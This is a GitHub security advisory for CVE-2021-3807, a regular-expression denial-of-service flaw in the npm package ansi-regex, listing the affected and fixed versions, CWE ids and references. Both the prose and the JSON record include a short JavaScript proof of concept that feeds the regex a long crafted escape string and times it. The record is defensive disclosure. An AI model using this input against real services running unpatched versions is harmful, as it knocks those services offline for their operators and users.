ghsa-93q8-gq69-wqmw
Vulnerability from github
Published
2021-09-20 20:20
Modified
2023-09-11 16:42
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Inefficient Regular Expression Complexity in chalk/ansi-regex
Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ansi-regex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ansi-regex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ansi-regex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ansi-regex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T18:56:22Z",
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from \u0027ansi-regex\u0027;\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#\u0026.:=?%@~_]*)*`",
  "id": "GHSA-93q8-gq69-wqmw",
  "modified": "2023-09-11T16:42:11Z",
  "published": "2021-09-20T20:20:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8"
    },
    {
      "type": "WEB",
      "url": "https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chalk/ansi-regex"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chalk/ansi-regex/releases/tag/v6.0.1"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221014-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in chalk/ansi-regex"
}


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